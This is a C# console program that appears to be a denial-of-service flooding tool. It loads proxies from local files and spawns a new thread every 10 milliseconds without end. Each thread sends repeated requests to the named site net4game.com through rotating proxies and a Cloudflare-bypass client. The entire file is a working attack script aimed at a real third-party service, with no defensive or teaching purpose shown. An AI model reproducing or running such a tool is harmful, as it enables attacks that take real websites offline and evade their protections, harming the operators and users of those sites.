using Cloudflare_Bypass; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Text; using System.Threading; using System.Threading.Tasks; namespace AppTest { class Program { private static List proxies = new List(); private static int proxyIterator = 0; private static int agentsIterator = 0; public static string url = ""; public static void loadProxies() { string path = @"C:\Users\fszym\Desktop\proxies\proxies.txt"; string readText = ""; try { readText = File.ReadAllText(path); } catch { readText = File.ReadAllText(@"C:\Users\Filip\Desktop\proxies2.txt"); } string[] proxies_array = readText.Split('\n'); foreach (var proxy in proxies_array) { try { string[] data = proxy.Split(':'); var _proxy = new WebProxy(data[0], Convert.ToInt32(data[1])); _proxy.BypassProxyOnLocal = false; proxies.Add(_proxy); proxyIterator++; } catch { Console.WriteLine("[ERR] Error while loading proxies."); } } Console.WriteLine($"Loaded successfully {proxyIterator} proxy!"); } public static WebProxy getRandomProxy() { Random r = new Random(); int index = r.Next(0, proxies.Count); return proxies[index]; } static void Main(string[] args) { loadProxies(); Thread thr = new Thread(LoadThreads); thr.Start(); Console.ReadLine(); } public static void LoadThreads() { while (true) { Thread thr = new Thread(SendRequest); thr.Start(); Random rand = new Random(); Thread.Sleep(10); } } public static void SendRequest() { for (int i = 0; i < 5; i++) { try { CF_WebClient client = new CF_WebClient(); client.CookieContainer.Add(new Cookie("a", "1") { Domain = "net4game.com" }); client.Proxy = getRandomProxy(); client.DownloadString($"https://net4game.com"); Console.WriteLine("[S] Successfully sended packets."); } catch { Console.WriteLine("[E] Error while sending packets."); } } Thread.CurrentThread.Abort(); } } }